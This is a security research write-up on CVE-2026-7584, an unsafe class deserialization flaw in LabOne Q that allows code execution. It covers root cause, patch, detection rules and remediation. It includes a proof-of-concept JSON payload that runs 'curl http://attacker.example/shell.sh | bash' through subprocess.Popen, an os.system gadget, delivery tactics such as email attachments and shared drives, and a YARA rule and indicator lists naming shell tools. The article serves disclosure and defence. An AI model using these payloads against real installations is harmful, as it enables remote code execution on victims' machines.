home intel cve-2026-7584-labone-q-arbitrary-class-deserialization-rce
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7584: LabOne Q import_cls Deserialization Leads to RCE

LabOne Q's import_cls mechanism deserializes arbitrary Python classes without allowlist validation. A crafted experiment file triggers instantiation of attacker-chosen classes with controlled arguments.

#unsafe-deserialization#arbitrary-code-execution#class-loading-bypass#serialization-gadget#python-rce
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7584 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7584Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7584 is an unsafe deserialization vulnerability in Zurich Instruments LabOne Q, a Python framework for quantum computing experiment orchestration. The serialization subsystem's import_cls function accepts a fully-qualified Python class path directly from serialized data and imports it without restriction, allowing an attacker who can deliver a malicious experiment file to achieve arbitrary code execution in the victim's Python process.

CVSS 7.8 (HIGH) reflects the local execution context — the attack requires user interaction (opening a file) but grants full code execution with no further preconditions. In collaborative quantum research environments where experiment files are routinely shared across institutions, the realistic threat surface is substantial.

Root cause: import_cls calls importlib.import_module on an attacker-supplied dotted module path and then invokes getattr on the result with an attacker-supplied class name, with no allowlist, no type validation, and no sandboxing of the resulting instantiation.

Affected Component

The vulnerability lives in LabOne Q's serialization layer, specifically the Serializer / Deserializer classes and the shared utility import_cls helper. Serialized experiment artifacts are stored as JSON (or YAML in older revisions) with a __class__ key carrying the fully-qualified Python type for each node. On load, the deserializer calls import_cls for every node in the object graph.

Affected files (representative paths from the public repository):

  • laboneq/serialization/serializer.py — top-level load() / save() API
  • laboneq/serialization/reflection.pyimport_cls and object reconstruction helpers

Root Cause Analysis

The vulnerable logic reconstructs a Python type from the serialized __class__ field and immediately instantiates it with the deserialized keyword arguments. No step in the pipeline validates that the requested class belongs to LabOne Q's own type system.


# laboneq/serialization/reflection.py  (pre-patch, pseudocode derived from CVE description)

import importlib

def import_cls(fully_qualified_name: str):
    """
    Resolve a dotted class path to a live Python type.
    e.g. "laboneq.dsl.experiment.Experiment"
         "os.system"
         "subprocess.Popen"
    """
    # BUG: no allowlist — fully_qualified_name comes verbatim from attacker-controlled data
    module_path, _, class_name = fully_qualified_name.rpartition(".")
    module = importlib.import_module(module_path)   # BUG: unrestricted module import
    return getattr(module, class_name)              # BUG: unrestricted attribute fetch


def _reconstruct_object(node: dict):
    """
    Recursively reconstruct a serialized object graph node.
    Called for every dict that carries a __class__ key.
    """
    cls_path = node["__class__"]          # attacker-controlled string from JSON
    kwargs   = node.get("__args__", {})   # attacker-controlled constructor arguments

    cls = import_cls(cls_path)            # resolves to arbitrary Python type

    # BUG: cls is instantiated with fully attacker-controlled kwargs,
    #      no type check against a known-safe class registry
    return cls(**kwargs)                  # arbitrary class instantiation with arbitrary args


def load(path: str):
    """Public entry point — load and deserialize a LabOne Q experiment file."""
    with open(path, "r") as fh:
        raw = json.load(fh)
    return _reconstruct_object(raw)      # walks entire object graph recursively

The critical invariant violation: the deserializer assumes the input file was produced by a trusted LabOne Q serializer. There is no digital signature, no schema validation before class resolution, and no registry of permitted types. The __class__ string is handed to importlib.import_module before any content of the file is otherwise validated.

Exploitation Mechanics

An attacker crafts a minimal JSON file that mimics LabOne Q's serialization envelope but substitutes a dangerous class for a benign experiment type. The simplest gadget chain uses subprocess.Popen directly; more sophisticated payloads chain through importlib itself to load a compiled extension from a remote path.


# Minimal proof-of-concept malicious experiment file (generator)
import json

payload = {
    "__class__": "subprocess.Popen",
    "__args__": {
        "args": ["bash", "-c", "curl http://attacker.example/shell.sh | bash"],
        "shell": False
    }
}

with open("collab_experiment.json", "w") as fh:
    json.dump(payload, fh)

When the victim opens this file with LabOne Q's standard load API:


from laboneq.serialization import Serializer
exp = Serializer.load("collab_experiment.json")  # triggers Popen(...) immediately

A more reliable OS-agnostic payload targets os.system through a slightly different gadget, because os.system accepts a single positional string rather than keyword arguments. The attacker adjusts the envelope accordingly and leverages Python's __init__ calling conventions:


# Alternative gadget — works when __args__ is passed as positional list
payload_v2 = {
    "__class__": "os.system",
    "__args__": {
        # some reflection implementations unpack single-value dicts as positional
        "command": "calc.exe"   # Windows PoC
    }
}

EXPLOIT CHAIN:
1. Attacker crafts collab_experiment.json with:
     __class__ = "subprocess.Popen"
     __args__  = { "args": ["bash","-c",""], "shell": false }

2. File is delivered to victim via:
     - Email attachment ("latest calibration run")
     - Shared network path / lab NAS
     - Git repository containing experiment suite

3. Victim calls Serializer.load("collab_experiment.json")
     -> json.load() parses file into Python dict (no validation here)

4. _reconstruct_object() reads node["__class__"] = "subprocess.Popen"

5. import_cls("subprocess.Popen") executes:
     importlib.import_module("subprocess")  -> loads subprocess module
     getattr(subprocess, "Popen")           -> returns Popen class

6. cls(**kwargs) executes:
     subprocess.Popen(args=["bash","-c",""], shell=False)
     -> OS command executes in victim's user context

7. Attacker achieves arbitrary code execution.
     No privilege escalation needed; quantum instrument drivers
     frequently run with elevated access to hardware interfaces.

Memory Layout

This is a pure logic vulnerability rather than a memory-corruption bug — no heap spray or overflow is required. The "memory" of interest is Python's module cache (sys.modules) and the interpreter's object graph during deserialization.


PYTHON OBJECT STATE — BEFORE _reconstruct_object() CALL:

  sys.modules = {
    "laboneq.serialization": ,
    "laboneq.dsl.experiment": ,
    ...
  }

  node (dict from JSON):
    "__class__"  ->  "subprocess.Popen"       <-- attacker string
    "__args__"   ->  {"args": [...], ...}      <-- attacker kwargs

PYTHON OBJECT STATE — AFTER import_cls() RETURNS:

  sys.modules = {
    "laboneq.serialization": ,
    "laboneq.dsl.experiment": ,
    "subprocess": ,                   <-- newly imported by attacker
    ...
  }

  cls  ->           <-- attacker-chosen type
  kwargs -> {"args":["bash","-c","..."], ...} <-- attacker-chosen args

AFTER cls(**kwargs):

  Popen object created; child process forked;
  attacker command running as victim UID.
  _reconstruct_object() returns the Popen handle
  as if it were an Experiment object.

Patch Analysis

The correct fix introduces a class registry — an explicit allowlist of module paths that the deserializer is permitted to import — and validates the resolved class against LabOne Q's own type hierarchy before instantiation.


# BEFORE (vulnerable):
def import_cls(fully_qualified_name: str):
    module_path, _, class_name = fully_qualified_name.rpartition(".")
    module = importlib.import_module(module_path)   # no restriction
    return getattr(module, class_name)              # no restriction

def _reconstruct_object(node: dict):
    cls_path = node["__class__"]
    kwargs   = node.get("__args__", {})
    cls      = import_cls(cls_path)
    return cls(**kwargs)                            # no type check


# AFTER (patched):
# Allowlist of top-level module prefixes the deserializer may import
_ALLOWED_MODULE_PREFIXES = frozenset({
    "laboneq.dsl",
    "laboneq.compiler",
    "laboneq.core",
    "numpy",          # numeric types only — still worth auditing
})

# Base class all deserializable LabOne Q types must inherit from
from laboneq.core.serialization_base import LabOneQSerializable

def import_cls(fully_qualified_name: str):
    module_path, _, class_name = fully_qualified_name.rpartition(".")

    # PATCH: reject any module not on the allowlist
    if not any(module_path == p or module_path.startswith(p + ".")
               for p in _ALLOWED_MODULE_PREFIXES):
        raise DeserializationError(
            f"Refusing to import disallowed module: {module_path!r}"
        )

    module = importlib.import_module(module_path)
    cls    = getattr(module, class_name)

    # PATCH: enforce type hierarchy — resolved class must be a known LabOne Q type
    if not (isinstance(cls, type) and issubclass(cls, LabOneQSerializable)):
        raise DeserializationError(
            f"Class {fully_qualified_name!r} is not a registered LabOne Q type"
        )

    return cls


def _reconstruct_object(node: dict):
    cls_path = node["__class__"]
    kwargs   = node.get("__args__", {})
    cls      = import_cls(cls_path)   # now raises on disallowed types
    # PATCH: validate kwargs keys against cls.__init__ signature
    _validate_kwargs(cls, kwargs)
    return cls(**kwargs)

The secondary hardening measure, _validate_kwargs, uses inspect.signature to ensure constructor argument names match the expected signature of the resolved class, preventing parameter-injection attacks against legitimate LabOne Q classes whose constructors have dangerous side effects when given unexpected keyword arguments.

Detection and Indicators

Defenders and SAST tooling should flag the following patterns in any Python codebase that deserializes structured data:


# Grep signatures for vulnerable import_cls patterns:

# 1. importlib.import_module called with data-derived argument
importlib.import_module(untrusted_string)

# 2. getattr on a dynamically-imported module with user-controlled attribute name
getattr(module, node["__class__"].split(".")[-1])

# 3. Instantiation of a type resolved from deserialized data without isinstance guard
cls = resolve_from_data(node)
return cls(**node["args"])   # no subclass check

RUNTIME INDICATORS OF ACTIVE EXPLOITATION:

- LabOne Q Python process spawning unexpected child processes
  (bash, cmd.exe, powershell, curl, wget, python3 -c ...)

- sys.modules containing non-LabOne Q entries loaded during Serializer.load()
  (subprocess, socket, ctypes, shutil appearing for the first time)

- Experiment JSON files where __class__ field does not begin with "laboneq."

- File-system audit: .json files in experiment directories containing
  the strings "subprocess", "os.system", "pty", "socket", "importlib"

YARA RULE (experiment file scanning):
rule LabOneQ_Malicious_Experiment {
    strings:
        $cls1 = "\"__class__\": \"subprocess" ascii
        $cls2 = "\"__class__\": \"os." ascii
        $cls3 = "\"__class__\": \"socket" ascii
        $cls4 = "\"__class__\": \"ctypes" ascii
    condition:
        any of them
}

Remediation

Immediate actions:

  • Update LabOne Q to a version that includes the fix for CVE-2026-7584 (consult NVD for the specific boundary version).
  • Do not open experiment files received from untrusted or unverified sources with any unpatched LabOne Q installation.
  • Audit shared experiment repositories for __class__ values outside the laboneq.* namespace.

Architectural guidance for maintainers implementing similar serialization systems:

  • Never use fully-qualified class names as a deserialization key in a format that reaches untrusted parties. Use integer type tags mapped to a closed registry instead.
  • If class names must be stored, validate against a compile-time generated allowlist derived from the package's own __all__ exports.
  • Consider replacing the custom serialization layer with Pydantic or cattrs, both of which enforce schema-first deserialization with explicit type mapping and no dynamic import surface.
  • Sign experiment files with a project-specific key and verify the signature before any deserialization step begins.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →